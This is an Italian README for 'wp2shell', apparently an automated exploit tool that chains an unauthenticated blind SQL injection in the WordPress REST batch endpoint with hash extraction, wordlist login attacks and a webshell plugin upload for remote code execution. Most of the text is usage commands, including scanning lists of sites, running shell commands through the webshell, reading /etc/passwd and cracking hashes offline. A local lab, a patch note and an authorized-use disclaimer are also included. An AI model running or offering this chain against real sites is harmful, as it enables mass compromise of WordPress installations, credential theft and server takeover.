wp2shell

WordPress REST batch route-confusion blind SQL injection — catena di exploit automatizzata.

CVE-2026-63030 / CVE-2026-60137

Solo per test di sicurezza autorizzati.

Come funziona

L'endpoint batch dell'API REST di WordPress (/wp-json/batch/v1) consente richieste batch annidate. Un payload di desincronizzazione a doppio annidamento sposta gli array interni $matches / $validation, instradando un valore author_exclude appositamente costruito nella SQL author__not_in senza sanitizzazione. Ciò consente una SQL injection non autenticata di tipo blind boolean e timing.

Catena di exploit — 4 fasi:

Phase 1  Vulnerability check     batch marker probe + optional SQL timing
Phase 2  Hash harvest            blind SQLi extracts wp_users (login + hash)
Phase 3  Authentication          wordlist attack via wp-login.php
Phase 4  Webshell deployment     plugin ZIP upload -> RCE verify

Requisiti

• Python 3.8+
• aiohttp
• colorama

pip install aiohttp colorama

Utilizzo

Target singolo

python wp2shell.py http://target.com

Lista di siti (un URL per riga)

python wp2shell.py sites.txt

Lista di siti + file password personalizzato

python wp2shell.py sites.txt -p pass.txt

Credenziali note (salta la wordlist)

python wp2shell.py http://target.com --user admin --password admin123

Conferma la SQLi con timing

python wp2shell.py http://target.com --confirm-sqli

Senza permalink pretty

python wp2shell.py http://target.com --rest-route

Tramite proxy Burp

python wp2shell.py http://target.com --proxy http://127.0.0.1:8080

Opzioni

File di output

Tutti i file vengono accodati — i risultati si accumulano tra le diverse esecuzioni.

Uso della webshell — aggiungi ?cmd=COMMAND all'URL in webshell.txt:

# browser
http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id

# curl
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id"
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=cat+/etc/passwd"

Cracking offline

Se la wordlist non trova la password, creds.txt contiene l'hash estratto:

hashcat -m 400 creds.txt wordlist.txt

Quindi riesegui con la password decifrata:

python wp2shell.py http://target.com --user admin --password <plaintext>

Laboratorio locale (Docker)

Avvia un'istanza vulnerabile di WordPress 7.0.1 per test locali sicuri.

Prima esecuzione — crea i volumi e installa WordPress:

docker compose up -d db wordpress
docker compose run --rm wpcli

Avvii successivi:

docker compose up -d db wordpress

Arresto:

docker compose down

Reset completo (cancella tutti i dati):

docker compose down -v

Esegui l'exploit contro il laboratorio:

python wp2shell.py http://localhost:8080

Aggiornamento

Aggiorna a WordPress 6.9.5 o 7.0.2. La correzione valida la rotta batch prima di inoltrare le richieste annidate, impedendo la desincronizzazione che espone il sink SQL.

Note legali

Da utilizzare su sistemi di tua proprietà o per i quali disponi di esplicita autorizzazione scritta al test. L'uso non autorizzato è illegale.